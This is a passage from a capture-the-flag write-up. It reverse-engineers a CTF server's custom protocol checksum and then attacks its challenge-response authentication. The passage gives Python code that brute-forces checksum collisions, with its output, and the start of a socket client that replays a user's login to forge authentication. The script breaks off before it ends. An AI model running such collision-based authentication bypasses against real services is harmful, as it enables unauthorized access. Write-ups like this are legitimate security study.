&lt;p&gt;&amp;lt;emb142|center&amp;gt;&lt;/p&gt;
&lt;p&gt;Our hypothesis is now confirmed: the server reads 1 byte, then 4 bytes followed by a variable-length set of bytes:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb144|center&amp;gt;&lt;/p&gt;
&lt;p&gt;The server software also checks the last 4 bytes by using a strange function located at 407F1E. This function looks like a kind of checksum:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb143|center&amp;gt;&lt;/p&gt;
&lt;p&gt;The corresponding C code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xD34DB33F&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x7BF239A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x19A87F24&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It is easy to check if we got a valid checksum algorithm by applying it to a message from the dump:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xD34DB33F&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x7BF239A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x19A87F24&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cs&lt;/span&gt;

&lt;span class="n"&gt;test_set&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;010b0000006a6f686e2e6164616d7300&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;  &lt;span class="mh"&gt;0x19A87F24&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;test_set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;... and abuse it to bypass authentication !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A deeper analysis of the target binary reveals that the same checksum function is used during the authentication process:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb145|center&amp;gt;&lt;/p&gt;
&lt;p&gt;The resulting checksum is encoded into an hexadecimal form and then checked with the string returned by the client: if it matches that means the client was able to compute the checksum and therefore knows the password.&lt;/p&gt;
&lt;p&gt;To summup the authentication process:
1. Client send to the server its username (message code: 01)
2. Server generates a random string (20 bytes) and send it to the client (message code: 02)
3. Client computes checksum(password+randomstring) and send it encoded in hexa to the server (message code: 03)
4. Server computes the same (should have the password stored in plain text in the database), encodes, and compares both strings: if they are equals, user is authenticated (or not). (message code: 04 or 05)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Be careful, the hex encoding used by the remote program is in fact an hexdump of the unsigned integer value, not the value itself that is hex encoded.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The authentication success message contains a session key intended to be used to encrypt the rest of the communication, but this message is encrypted with the user's password.&lt;/p&gt;
&lt;p&gt;Based on this analysis, breaking the password with only a single checksum computed from this password and a randomly generated string will not be enough. Originally, &lt;em&gt;z0b.nuitduhack.com&lt;/em&gt; hosted all the services related to the CTF, and had its port 2013 open. Remember, protoss server listens on this port. What if we try to authenticate without knowing John Adams' password ? What if we find another password (shorter than the original one) that matches the same checksum ?&lt;/p&gt;
&lt;p&gt;With a 32-bit long checksum, a good approach consists in looking for collisions. Starting from a 3-byte long collision, I wrote this little python script and run it to determine how many collision exists with this setup:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xD34DB33F&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x7BF239A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x19A87F24&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cs&lt;/span&gt;

&lt;span class="n"&gt;challenge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;794a4b635f716e464c584c6d765b7474715e6543&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%c%c%c%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mh"&gt;0xE1649BEC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%03d&lt;/span&gt;&lt;span class="s1"&gt; =&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;%02x%02x%02x&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I then ran this program and got this:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
001 =&amp;gt; 0048f3
002 =&amp;gt; 01a0cb
...
321 =&amp;gt; ff83ea
322 =&amp;gt; ffad76
&lt;/pre&gt;
&lt;p&gt;322 collisions, this is very few but not sure if this will work with the remote server. Well, let's give it a try with a dedicated python script:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;unpack&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;toHex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;hx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;hx&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rjust&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hx&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;size_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;size_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size_&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;checksum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;checksum&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tryAuth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2013&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# replay authentication request message&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;`+] Sending authentication request, waiting for a challenge ...&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;010b0000006a6f686e2e6164616d7300247FA819&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# wait for a message&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# extract challenge&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;challenge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Got challenge: &amp;lt;&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;challenge&lt;/span&gt;
        &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toHex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x03\x09\x00\x00\x00&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;
        &lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
